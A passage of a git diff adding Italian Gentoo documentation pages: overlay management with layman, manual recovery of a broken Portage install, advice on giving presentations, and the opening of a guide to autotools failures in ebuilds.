+<pre caption="Informare Portage sui repository acquisiti da layman">
+<comment>(per layman 1.1)</comment>
+# <i>echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+<comment>(per layman 1.2)</comment>
+# <i>echo "source /usr/local/portage/layman/make.conf" >> /etc/make.conf</i>
+<comment>(per layman 1.3)</comment>
+# <i>echo "source /var/lib/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<note>
+Layman creerà <path>/usr/local/portage/layman/make.conf</path> non appena verrà
+aggiunto il proprio primo overlay. Ma se non si ha intenzione di installare un
+overlay immediatamente bisogna assicurarsi che questo file esista e contenga la
+variabile vuota <c>PORTDIR_OVERLAY</c>, altrimenti portage protesterà. Si può
+eseguire <c>echo PORTDIR_OVERLAY=\"\" > /usr/portage/local/layman/make.conf</c>
+affinché il file venga creato correttamente.
+</note>
+
+</body>
+</section>
+<section>
+<title>Elencare gli Overlay disponibili</title>
+<body>
+
+<p>
+Per consultare la lista degli overlay disponibili, eseguire:
+</p>
+
+<pre caption="Elencare gli overlay disponibili">
+layman -L
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installare un Overlay</title>
+<body>
+
+<p>
+Per installare un overlay sul proprio computer, eseguire:
+</p>
+
+<pre caption="Aggiungere un overlay">
+# <i>layman -a &lt;nome-overlay&gt;</i>
+</pre>
+
+<p>
+Per esempio, per installare <uri
+link="http://overlays.gentoo.org/proj/php">l'overlay PHP</uri>, eseguire:
+</p>
+
+<pre caption="Aggiungere l'overlay PHP">
+# <i>layman -a php</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installare Pacchetti da un Overlay</title>
+<body>
+
+<p>
+Dopo aver installato un overlay, si possono installare dei pacchetti inclusi in
+esso eseguendo:
+</p>
+
+<pre caption="Installare un pacchetto da un overlay">
+# <i>emerge -av &lt;categoria&gt;/&lt;pacchetto&gt;</i>
+</pre>
+
+<p>
+Portage cercherà automaticamente nel suo albero principale (in
+<path>/usr/portage</path>), e in tutti gli overlay installati, e sceglierà
+l'ultima versione del pacchetto che ha trovato.
+</p>
+
+<p>
+Qualora il Portage non scegliesse il pacchetto dall'overlay, questo è perché
+normalmente il pacchetto è marcato come ~arch, dove "arch" è l'architettura del
+proprio computer. Bisognerà aggiungere la keyword al pacchetto come descritto
+nel <uri link="/doc/it/handbook/">Manuale di Portage</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiornare un Overlay</title>
+<body>
+
+<p>
+Per mantenere aggiornati i propri overlay installati, eseguire:
+</p>
+
+<pre caption="Aggiornare tutti gli Overlay Installati">
+# <i>layman -S</i>
+</pre>
+
+<p>
+Si prega di non eseguirlo più di una volta al giorno, o si metterà sotto forte
+stress l'infrastruttura di Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Come essere ulteriormente coinvolti</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Tutti gli sviluppatori Gentoo erano utenti di Gentoo prima di diventare
+sviluppatori e ne sono ancora utenti. Questi ultimi non sono solo la ragione
+per cui Gentoo esiste al giorno d'oggi; essi sono anche i futuri volontari per
+lo sviluppo di questa distribuzione.
+</p>
+
+<p>
+Se si inizia a contribuire a un progetto, verrà dato l'accesso in scrittura
+all'overlay del progetto, e saranno forniti dei mentori per aiutare a
+contribuire. Eventualmente, se gli sviluppatori apprezzano il lavoro che si sta
+facendo e il modo in cui lo si fa, si  verrà invitati ad andare oltre e a
+diventare uno sviluppatore Gentoo a pieno titolo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come iniziare</title>
+<body>
+
+<p>
+Se si vuole contribuire a un overlay, il migliore approccio è instaurare una
+buona relazione di lavoro con gli sviluppatori Gentoo che sono responsabili
+dell'overlay. Si può trovare chi è responsabile per ogni overlay andando sulla
+<uri link="http://overlays.gentoo.org">homepage di overlays.gentoo.org</uri>, e
+cliccando sul link dell'overlay in questione.
+</p>
+
+<p>
+Differenti sviluppatori preferiscono essere contattati in differenti modi.
+Alcuni frequentano IRC, e possono avere i canali appositi per i loro progetti.
+Esempi di questi includono il progetto PHP (#gentoo-php), e il progetto Webapps
+(#gentoo-web).  Altri preferiscono essere contattati unicamente via email.
+L'unico modo per scoprirlo è provare e contattare, e partire da lì. Di Solito
+le persone che si trovano in #gentoo-bugs sul server IRC Freenode sanno dove
+trovare le persone in oggetto (ndt gli sviluppatori).
+</p>
+
+</body>
+</section>
+<section>
+<title>Lavorare con Subversion</title>
+<body>
+
+<p>
+<uri link="http://subversion.apache.org">Subversion</uri> è un software per il
+controllo di versione usato per gestire i contenuti degli overlay di Gentoo
+Sunrise. Se non si è mai utilizzato Subversion prima d'ora, il libro su
+Subversion è un modo eccellente per imparare Subversion. Può essere acquistato
+in formato cartaceo se si preferisce o essere consultato gratuitamente online.
+</p>
+
+</body>
+</section>
+<section>
+<title>Lavorare con Git</title>
+<body>
+
+<p>
+Git è un altro software per il controllo di versione usato per gestire i
+contenuti degli overlay di Gentoo Sunrise. Per familiarizzare con esso,
+consultare il tutorial fornito in <uri
+link="http://www.git-scm.com">homepage</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Ulteriori informazioni</title>
+<body>
+
+<p>
+Il progetto Gentoo (o lo sviluppatore) su (con) cui si sta lavorando dovrebbe
+essere in grado di fornire ulteriore aiuto e assistenza di cui si abbia bisogno.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande frequenti (FAQ)</title>
+<section>
+<body>
+
+<p>
+D: Ospitate gli overlay degli utenti?
+</p>
+
+<ul>
+  <li>
+    <b>A:</b> Sì, li ospitiamo. Si prega di leggere <uri
+    link="http://blog.hartwork.org/?p=843">questo articolo</uri> contenente le
+    istruzioni per far sì che il proprio overlay venga ospitato
+    nell'infrastruttura di Gentoo.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/it/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..b3dc45d8
--- /dev/null
+++ b/xml/htdocs/proj/it/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,187 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/portage/doc/manually-fixing-portage.xml,v 1.10 2010/08/25 21:00:03 scen Exp $ -->
+
+<guide link="/proj/it/portage/doc/manually-fixing-portage.xml" lang="it">
+<title>Riparare manualmente installazioni di portage non funzionanti</title>
+
+<author title="Autore">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="Traduzione">
+  <mail link="syntaxerrormmm@gmail.com">Emiliano G. Vavassori</mail>
+</author>
+
+<abstract>
+Il presente documento si propone di aiutare gli utenti a riparare manualmente
+un'installazione non funzionante di sys-apps/portage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2007-05-31</date>
+
+<chapter>
+<title>Riparare manualmente portage</title>
+<section>
+<title>Scopo</title>
+<body>
+
+<p>
+Questo documento suggerirà come aggiornare/riparare l'installazione di portage
+nel caso in cui non sia possibile lanciare <c>emerge sys-apps/portage</c>.
+Sebbene non sia un procedimento difficile, è necessario eseguirlo comunque con
+molta attenzione, seguendo i passi indicati così come compaiono in questo
+documento (usando se necessario un po' di buonsenso).
+</p>
+
+</body>
+</section>
+<section>
+<title>Ottenere un tarball di portage</title>
+<body>
+
+<p>
+Il primo passo da eseguire è ottenere il tarball (archivio tar) di una versione
+corrente di portage. Nel testo seguente verrà usato <e>portage-2.1.8</e> come
+esempio (questa è la versione stabile al momento della scrittura); sostituire
+questa versione con una di quelle presenti nel tree (insieme dei pacchetti) se
+possibile.
+</p>
+
+<table>
+<tr>
+  <th>Versione Python</th>
+  <th>Versione Portage</th>
+</tr>
+<tr>
+  <ti>&lt;= Python 2.5</ti>
+  <ti>
+    <uri link="http://distfiles.gentoo.org/distfiles/portage-2.1.6.tar.bz2">
+    portage-2.1.6.tar.bz2
+    </uri>
+  </ti>
+</tr>
+<tr>
+  <ti>&gt;= Python 2.6</ti>
+  <ti>
+    <uri link="http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2">
+    portage-2.1.8.tar.bz2
+    </uri>
+  </ti>
+</tr>
+</table>
+
+<warn>
+Se la propria corrente versione installata di python riportata da <c>python
+-V</c> è minore di 2.6 allora bisogna scegliere una versione di portage
+compatibile con esso. Se si possiede almeno la versione 2.6 di python allora
+usare <e>portage-2.1.8.tar.bz2</e>. Se si ha python 2.4 o 2.5 allora usare
+<e>portage-2.1.6.tar.bz2</e>.
+</warn>
+
+<p>
+A seconda della ragione per cui portage non funziona più potrebbe essere
+comunque possibile usarlo per recuperare il pacchetto di cui sopra: come primo
+passo provare ad eseguire <c>emerge --fetchonly sys-apps/portage</c>; se ciò non
+dovesse funzionare, è necessario scaricare manualmente il pacchetto con:
+</p>
+
+<pre caption="Recuperare il pacchetto di portage con wget">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+Concluso questo passaggio si dovrebbe avere a disposizione il pacchetto in
+<path>/usr/portage/distfiles/portage-2.1.8.tar.bz2</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sostituire la versione installata</title>
+<body>
+
+<p>
+Il passaggio seguente consiste nell'estrarre il pacchetto in una directory
+temporanea; usando <path>/root/portage-recover</path> i comandi per eseguire
+l'estrazione sono:
+</p>
+
+<pre caption="Estrazione del pacchetto di portage">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.8.tar.bz2</i>
+</pre>
+
+<p>
+Dopo aver eseguito questo passo, è solamente questione di sostituire i file di
+python e bash della precedente installazione di portage con quelli dal pacchetto
+(almeno nella maggior parte dei casi). Per farlo, eseguire:
+</p>
+
+<pre caption="Sostituzione dei file installati">
+# <i>cd /root/portage-recover/portage-2.1.8</i>
+# <i>rm -rf /usr/lib/portage/*</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+Se non si sta usando Gentoo su FreeBSD allora è consigliabile rimuovere lo
+script wrapper per sed poichè non è necessario e causa problemi con vecchie
+versioni di bash:
+</p>
+
+<pre caption="Rimuovere lo script wrapper per sed">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+Se portage è stato accidentalmente disinstallato prima di questo momento o è
+stato perso il file <path>/etc/make.globals</path> per altre ragioni, è
+necessario copiare <path>cnf/make.globals</path> in <path>/etc</path>,
+altrimenti portage potrebbe comportarsi in maniera strana.
+</note>
+
+<note>
+Se la versione precedente di portage era inferiore alla 2.1 allora bisognerebbe
+eseguire immediatamente <c>emerge --metadata</c> prima di continuare con il
+passaggio successivo. Questa operazione è necessaria per poter convertire i
+metadati degli ebuild al nuovo formato usato da portage 2.1 e successivi. Si può
+comunque eseguire senza problemi tale comando anche se non si ha la sicurezza
+su quale fosse la versione precedente di portage.
+</note>
+
+<p>
+Ora si dovrebbe avere nuovamente un portage funzionante. Per assicurarsi di
+avere un sistema coerente è necessario eseguire immediatamente <c>emerge
+sys-apps/portage</c>.
+</p>
+
+<p>
+Se si ottiene un messaggio di errore <e>command not found</e> con il precedente
+<c>emerge</c>, è necessario ricreare il link simbolico:
+</p>
+
+<pre caption="Ricreare il link simbolico emerge">
+# <i>ln -sf ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+Se questo procedimento non funziona, probabilmente portage non è guasto ma c'è
+qualche altro problema la cui risoluzione è al di fuori dello scopo del presente
+documento. Ricontrollare la <uri
+link="/proj/en/portage/doc/common-problems.xml">Lista dei problemi comuni di
+portage</uri> (ndT: in lingua inglese) e inoltre cercare in <uri
+link="http://bugs.gentoo.org">bugzilla</uri> se il problema è già stato
+segnalato.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/pr/docs/howto-presentation.xml b/xml/htdocs/proj/it/pr/docs/howto-presentation.xml
new file mode 100644
index 00000000..fcf8aed0
--- /dev/null
+++ b/xml/htdocs/proj/it/pr/docs/howto-presentation.xml
@@ -0,0 +1,349 @@
+<?xml version="1.0"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/pr/docs/howto-presentation.xml,v 1.2 2007/06/29 17:33:53 scen Exp $ -->
+
+<guide link="howto-presentation.xml" lang="it">
+<title>Guida alle Presentazioni</title>
+
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+<abstract>
+Per chi vuole imparare a scrivere e strutturare presentazioni con Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2004-02-15</date>
+
+<chapter>
+<title>Ricerca del proprio Soggetto</title>
+<section>
+<title>Di cosa parla la Presentazione?</title>
+<body>
+
+<p>
+Quando viene fatta richiesta per presentare un nuovo soggetto, probabilmente si
+ha una certa esperienza in quel campo. Ciònonostante non significa che esista
+già un'idea su cosa proporre al pubblico. Che cosa le persone vorrebbero
+sentire? Di cosa si vorrebbe discutere? Che cosa è abbastanza importante da
+dover essere menzionato a chi ascolta?
+</p>
+
+<p>
+<b>Conoscere il proprio pubblico</b> è l'elemento chiave di una buona
+presentazione. Una presentazione preparata per un pubblico di sviluppatori non
+avrà lo stesso effetto su un pubblico di utenti normali.
+</p>
+
+<p>
+Gli sviluppatori sono interessati alle tecnologie usate, gli standard che il
+progetto proposto comprende (interoperabilità), le decisione fatte a fronte di
+scelte tra due differenti opzioni.
+</p>
+
+<p>
+Gli utenti tuttavia vogliono sapere cosa il progetto può fare per loro: Quali
+sono i benefici? Come viene gestita la migrazione? Cosa devono abbandonare
+quando procedono con l'approccio proposto?
+</p>
+
+</body>
+</section>
+<section>
+<title>Raccogliere le Risorse Necessarie</title>
+<body>
+
+<p>
+Ricerca significa anche ricerca nel materiale bibliografico. Cercare
+informazioni su Internet in merito al soggetto della propria presentazione.
+Accertarsi di avere compreso i dettagli del proprio soggetto ed essere capaci di
+anticipare eventuali FAQ (frequently asked questions, domande poste
+frequentemente).
+</p>
+
+<p>
+Prendersi nota delle risorse utilizzate ; se ne avrà bisogno in seguito per
+informare il pubblico su dove si possono trovare maggiori informazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Chiedere opinioni alla Comunità</title>
+<body>
+
+<p>
+Non bisogna trascurare l'opinione della comunità. Quando, dopo la propria
+presentazione, si chiederà di porre eventuali domande, è probabile che si
+riceveranno le stesse richieste incontrate su forum pubblici o gruppi di
+discussione. Risulta utile anticipare questi quesiti.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Conoscere la propria Programmazione Temporale</title>
+<section>
+<title>A cosa sono Assegnati i propri Archi di Tempo?</title>
+<body>
+
+<p>
+Quando si progetta la propria presentazione, tenere in considerazione
+l'ammontare dei lassi temporali. Calcolare dai 3 a 5 minuti per le domande e due
+minuti per scorrere la presentazione. Inoltre, assicurarsi di non avere più di
+una slide (diapositiva) ogni due minuti.
+</p>
+
+<p>
+Provare e ripetere a sufficienza la propria presentazione. Non verrà concesso
+tempo aggiuntivo da chi presiede, e incappare in una presentazione che si
+interrompe nel mezzo di una importante slide è semplicemente fastidioso.
+</p>
+
+</body>
+</section>
+<section>
+<title>Non dimenticare chi Presiede</title>
+<body>
+
+<p>
+Chiedere se è possibile testare il materiale (proiettore, microfono, ...) in
+anticipo (per esempio il giorno precedente) così che si possano prevenire
+possibili incompatibilità hardware. Niente è più seccante del volere iniziare la
+propria presentazione solo per scoprire che il proiettore è fuori frequenza
+quando viene attaccato al proprio laptop.
+</p>
+
+<p>
+Contattare poi chi presiede un'ora prima per mostrargli che si è nelle vicinanze
+e disponibili.
+</p>
+
+<p>
+Chiedere anche se (e come) si può avere una soluzione di backup pronta nel caso
+in cui Mr. Murphy (NdT: Mr Murphy delle leggi di Murphy) ci metta lo zampino.
+Esportare la propria presentazione su qualche formato comune e preparare diversi
+backup nella propria tasca.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Strutturare i propri Contenuti</title>
+<section>
+<title>Essere ridondanti</title>
+<body>
+
+<p>
+Iniziare la propria presentazione con una spiegazione su cosa si andrà a
+discutere. Quindi parlare di quanto introdotto e finire con una breve sommario
+riguardo a ciò di cui si è discusso. Questo è estremamente importante: focalizza
+il pubblico. In nessun momento durante la presentazione chi ascolta dovrebbe
+avere la sensazione che è stato detto qualcosa di cui non si darà spiegazione in
+seguito.
+</p>
+
+</body>
+</section>
+<section>
+<title>Organizzare le proprie Slide</title>
+<body>
+
+<p>
+Pianificare una struttura slide per slide prima di sedersi davanti al proprio
+PC. Raccogliere insieme le informazioni e usare una normale tecnica a sommario
+(come una <e>mappa mentale</e>, sorta di rappresentazione grafica della
+conoscenza) per afferrare l'essenza della presentazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Usarla, non Leggerla</title>
+<body>
+
+<p>
+Una presentazione deve essere <e>usata</e> per venire guidati attraverso le
+informazioni che si vogliono far arrivare a chi ascolta. Non deve essere letta
+come un libro. Se la presentazione contiene tutto ciò che si vuole sapere, non
+ci sarà più il bisogno di chi la espone.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rendere la propria Presentazione Leggibile</title>
+<section>
+<title>Stare Attenti con i Caratteri</title>
+<body>
+
+<p>
+Usare i caratteri della famiglia sans-serif (come Arial o Helvetica) e una
+dimensione per essi di 24 - 26 punti. Mantenere i titoli corti ed evitare
+paragrafi nelle slide.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stare Attenti con i Colori</title>
+<body>
+
+<p>
+Usare una colorazione coerente attraverso tutta la presentazione. Utilizzare i
+colori solo quando significano qualcosa (per esempio blue -&gt; perdita, verde
+-&gt; positivo). Non usare più di 4 colori in una singola slide.
+</p>
+
+</body>
+</section>
+<section>
+<title>La Gioia del Sei</title>
+<body>
+
+<ul>
+  <li>Usare i bullet point (ovvero indicatori per elementi nelle liste)</li>
+  <li>Iniziare ogni punto con una lettera maiuscola</li>
+  <li>Limitare la propria slide ad un massimo di 6 bullet point</li>
+  <li>Limitare ad un massimo di 6 parole per bullet point</li>
+  <li>Non usare una SCRITTURA MAIUSCOLA</li>
+  <li>Ridurre l'annidamento ad un massimo di due livelli</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Mantenere la Semplicità</title>
+<body>
+
+<p>
+Quando vengono usate immagini, limitare il conto fra una e tre immagini per
+slide. È anche preferibile usare un certo numero di semplici immagini piuttosto
+che un'immagine complessa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Usare un Layout (Struttura) Intelligente</title>
+<body>
+
+<p>
+Numerare le proprie slide.
+</p>
+
+<p>
+Usare solo i due terzi della slide per i contenuti reali. In molti ambienti il
+terzo inferiore dello schermo non è completamente visibile all'intero pubblico.
+</p>
+
+</body>
+</section>
+<section>
+<title>Essere Delicati con gli Effetti</title>
+<body>
+
+<p>
+Non lasciare che gli effetti speciali distraggano l'attenzione dalla
+presentazione stessa. Usare un solo effetto di transizione per l'intera
+presentazione.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Corregere, Controllare l'Ortografia e Confermare</title>
+<section>
+<title>Usare un Correttore Ortografico</title>
+<body>
+
+<p>
+Interessante o meno, una presentazione con difetti tipografici o errori
+grammaticali è un intoppo allo spettacolo. Usare un controllore ortografico (o
+più d'uno) mentre si scrivono le proprie slide.
+</p>
+
+</body>
+</section>
+<section>
+<title>Usare un Revisore alla Pari</title>
+<body>
+
+<p>
+Trovare persone che leggano le slide o ripetere la propria presentazione con
+loro.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stampare la propria Presentazione</title>
+<body>
+
+<p>
+Assicurarsi che la propria presentazione sia facilmente stampabile.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Esporre la propria Presentazione</title>
+<section>
+<title>Discussione</title>
+<body>
+
+<p>
+Parlare lentamente e chiaramente. Usare frasi brevi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Esposizione</title>
+<body>
+
+<ul>
+  <li>Mantenere una posizione retta e la faccia verso il pubblico</li>
+  <li>Usare gesti, ma non in maniera eccessiva</li>
+  <li>
+    Rendere positivi i contatti visivi; mantenere il contatto visivo per fra i 3
+    e i 5 secondi per persona
+  </li>
+  <li>
+    Usare un puntatore laser; persone destrorse dovrebbe mantenere le slide alla
+    propria destra
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Risposte</title>
+<body>
+
+<p>
+Ripetere le domande poste e pensare prima di rispondere. Quando lo si fa,
+rispondere al pubblico e non solo alla persona che ha fatto la domanda.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/qa/autofailure.xml b/xml/htdocs/proj/it/qa/autofailure.xml
new file mode 100644
index 00000000..2f417b2f
--- /dev/null
+++ b/xml/htdocs/proj/it/qa/autofailure.xml
@@ -0,0 +1,538 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/qa/autofailure.xml,v 1.3 2008/06/17 18:27:07 scen Exp $ -->
+
+<guide link="/proj/it/qa/autofailure.xml" lang="it">
+<title>Come risolvere i guasti negli autotools</title>
+
+<author title="Autore">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Traduzione">
+  <mail link="skypjack@gmail.com">Michele Caini</mail>
+</author>
+
+<abstract>
+Questa guida si propone di descrivere le situazioni comuni che portano ad un
+guasto degli autotools nell'esecuzione in un ebuild, fornendo consigli su
+come risolvere questo tipo di problemi.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.10</version>
+<date>2008-06-07</date>
+
+<chapter>
+<title>Introduzione</title>
+
+<section>
+<body>
+<p>
+Con il termine <e>autotools</e> ci riferiamo solitamente agli strumenti
+sviluppati dal progetto GNU per creare un sistema di compilazione indipendente
+dalla piattaforma e dal sistema operativo in cui opera, ovvero <c>autoconf</c>,
+<c>automake</c> e <c>libtool</c>. Anche se non ogni pacchetto li usa tutti allo
+stesso momento, molti dei più moderni lo fanno; i vecchi pacchetti spesso non
+usano invece <c>automake</c> e <c>libtool</c>; i pacchetti di KDE usano un più
+complesso sistema di compilazione che si basa alla fine sui tre software citati.
+</p>
+
+<p>
+È semplice riconoscere un pacchetto il cui sistema di compilazione si basa sugli
+autotools: se c'è uno script <path>configure</path>, e un file
+<path>configure.in</path> o <path>configure.ac</path>, il sistema di
+compilazione è basato su <c>autoconf</c>; se ci sono uno o più file
+<path>Makefile.am</path> nelle varie sottocartelle, si appoggia anche su
+<c>automake</c>; se c'è uno script <path>ltmain.sh</path>, sfrutta infine
+<c>libtool</c>.
+</p>
+
+<p>
+Per compilare un pacchetto che usa un sistema di compilazione basato sugli
+autotools, questi stessi strumenti non sono strettamente necessari: lo script
+<path>configure</path> è un semplice script per Bourne Shell (di solito, ma
+questo sarà discusso in seguito) e trasforma i file <path>Makefile.in</path> in
+più semplici <path>Makefile</path> per <c>make</c> (o, più probabilmente,
+<c>gmake</c>). Nonostante siano opzionali per compilare il software, spesso le
+patch necessarie per risolvere i problemi come le <uri
+link="/proj/en/qa/asneeded.xml">compilazioni fallite a causa di
+--as-needed</uri> (ndT: in inglese) o le <uri link="automagic.xml">dipendenze
+automagic</uri> richiedono di eseguire nuovamente gli strumenti citati per
+ricreare i modelli di script e makefile.
+</p>
+
+<p>
+Questa guida non darà indicazioni su come correggere gli errori dei pacchetti
+con l'uso degli autotools, in quanto è un argomento molto vasto che richieder
+ebbe molto tempo per essere spiegato. Per una semplice introduzione alla maggior
+parte degli errori più comuni nell'uso degli autotools, è caldamente suggerito
+la lettura dell'articolo <uri
+link="/doc/it/articles/autotools-practices.xml">"Le migliori tecniche con gli
+autotools"</uri>. Invece, saranno descritti i casi più comuni in cui il
+rieseguire gli autotools porta a degli errori, sia nella creazione degli script
+che all'atto della compilazione.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Eseguire nuovamente gli autotools</title>
+<section>
+<body>
+
+<p>
+La prima cosa importante da sapere è come ricreare correttamente il supporto
+agli autotools, problema comune che introduce degli errori negli ebuild.
+L'ordine in cui gli autotools sono eseguiti è importante, in quanto uno dipende
+dall'altro e l'output finale dipende largamente dal rispetto dell'ordine di
+esecuzione.
+</p>
+
+<p>
+Molti pacchetti forniscono uno script singolo, solitamente chiamato
+<path>autogen.sh</path> o <path>bootstrap.sh</path> che viene usato per eseguire
+i vari strumenti nell'ordine che gli sviluppatori originali ritengono essere
+quello corretto, spesso impostando variabili così che le versioni corrette di
+tali strumenti vengano eseguite (versioni differenti degli autotools non sempre
+vanno bene). Questi script sono, in generale, preferiti al posto di altri metodi
+ma a volte contengono errori, o assumono di essere eseguito su un dato ambiente
+che potrebbe essere univoco rispetto ad altre distribuzioni, e per questa
+ragione vanno controllati attentamente, e quando non comportano nessun vantaggio
+rispetto ad altri metodi (come nel caso in cui eseguono i vari strumenti uno
+dopo l'altro senza passare loro parametri speciali o controllare il loro valore
+di ritorno), dovrebbero essere scartati.
+</p>
+
+<p>
+Il pacchetto <c>autoconf</c> fornisce uno script automatizzato, chiamato
+<c>autoreconf</c> che dovrebbe automaticamente rilevare quali autotools sono
+utilizzati e chiamarli, ma troppo spesso fallisce nel riconoscere la corretta
+versione o si interrompe perchè incappa in casi specifici. Inoltre, esegue
+<c>autopoint</c>, lo script che aggiunge il supporto a <c>gettext</c> ad un
+pacchetto, la cui esecuzione non è quasi mai richiesta dopo aver applicato
+patch ad un pacchetto. Per questa ragione, <c>autoreconf</c> è deprecato ed
+evitato quando possibile (lo stesso vale per gli script forniti dagli
+sviluppatori originali che lo usano).
+</p>
+
+<p>
+Per aggirare questo problema, è stata aggiunta l'eclass <path>autotools</path>,
+che fornisce delle funzioni che inglobano gli GNU autotools: <c>eautoconf</c>,
+<c>eautomake</c>, <c>_elibtoolize</c> (il simbolo _ è usato come prefisso per
+evitare collisioni con le funzioni <c>elibtoolize</c> provenienti invece
+dall'eclass <path>libtool</path>) e la più importante funzione
+<c>eautoreconf</c>. Questa funzione non include lo script <c>autoreconf</c>
+malfunzionante, ma piuttosto analizza i file di supporto agli autotools presenti
+ed esegue i vari strumenti nel loro corretto ordine. Inoltre esegue la funzione
+<c>elibtoolize</c> per correggere i file di supporto a libtool se necessario,
+evitando problemi quando questo viene chiamato prima dell'attuale
+ristrutturazione dei file per gli autotools.
+</p>
+
+<p>
+Le funzioni nell'eclass <path>autotools</path> hanno anche il vantaggio di non
+presentare all'utente grosse quantità di output inutile (nel caso di
+avvertimenti) o perfino niente (in caso non ci siano problemi); piuttosto
+forniscono i messaggi di stato <c>ebegin</c>/<c>eend</c> così che l'utente saprà
+cosa sta succedendo, e inoltre tracciano la situazioni d'errore mettendo a
+disposizione un messaggio simile a <c>epatch</c> in caso di fallimento. Per tale
+ragione, queste funzioni sono preferite al posto delle chiamate manuali, di
+comportamenti scorretti o script personalizzati quasi inutili. Un altro motivo è
+che l'eclass <path>autotools</path> aggiunge anche una dipendenza di
+compilazione sui pacchetti di cui necessita (<b>sys-devel/autoconf</b>,
+<b>sys-devel/automake</b>, <b>sys-devel/libtool</b>).
+</p>
+
+</body>
+</section>
+<section>
+<title>Casi eccezionali: pacchetti KDE che usano kde.eclass</title>
+<body>
+
+<p>
+Nonostante KDE 3.x usi gli autotools come molti altri pacchetti software, sta
+impiegando un'impostazione personalizzata per essi con diverse macro specifiche
+e passaggi aggiuntivi utili a completare la rigenerazione di tutti i file
+necessari. Per questa ragione gli <path>autotools</path> non dovrebbero essere
+usati per ricompilare gli autotools per pacchetti KDE che usano la
+eclass <path>kde</path> per la compilazione.
+</p>
+
+<p>
+Come particolare eccezione alle regole comuni per la ricompilazione degli
+autotools durante la fase di <c>src_unpack</c>, i pacchetti KDE ricompilano i
+propri autotools durante la fase <c>src_compile</c> ogni volta che il file
+principale <path>configure</path> non viene trovato. Per questa ragione, per chi
+volesse ricompilare i file degli autotools per pacchetti KDE, assicurarsi prima
+di rimuovere il file <path>configure</path> dalla cartella principale dei
+sorgenti.
+</p>
+
+<p>
+Molti dei problemi sollevati dal sistema di compilazione personalizzato di
+KDE, che compaiono con le nuove versioni degli autotools, possono essere di
+solito risolti rimpiazzando la cartella <path>admin</path> nell'archivio dei
+sorgenti con una nuova copia presa dall'ultimo rilascio di KDE o da SVN. Per
+farlo basta aggiungere un archivio, contenente la nuova cartella
+<path>admin</path> come unica contenuto della variabile <c>SRC_URI</c>, sarà
+poi <c>kde_src_unpack</c> a prendersi cura del rimpiazzo.
+</p>
+
+<impo>
+Si prega di non creare nuovi archivi contenenti cartelle admin prima di aver
+controllato se esiste già un archivio con la nuova cartella <path>admin</path>
+di cui si necessita. Il nome di questo archivio è di fatto standardizzato come
+<path>kde-admindir-$versione.tar.bz2</path> e la l'ultima versione disponibile
+al momento è la 3.5.5.<!-- Sarebbe utile tenere questo riferimento aggiornato,
+grazie! -->
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
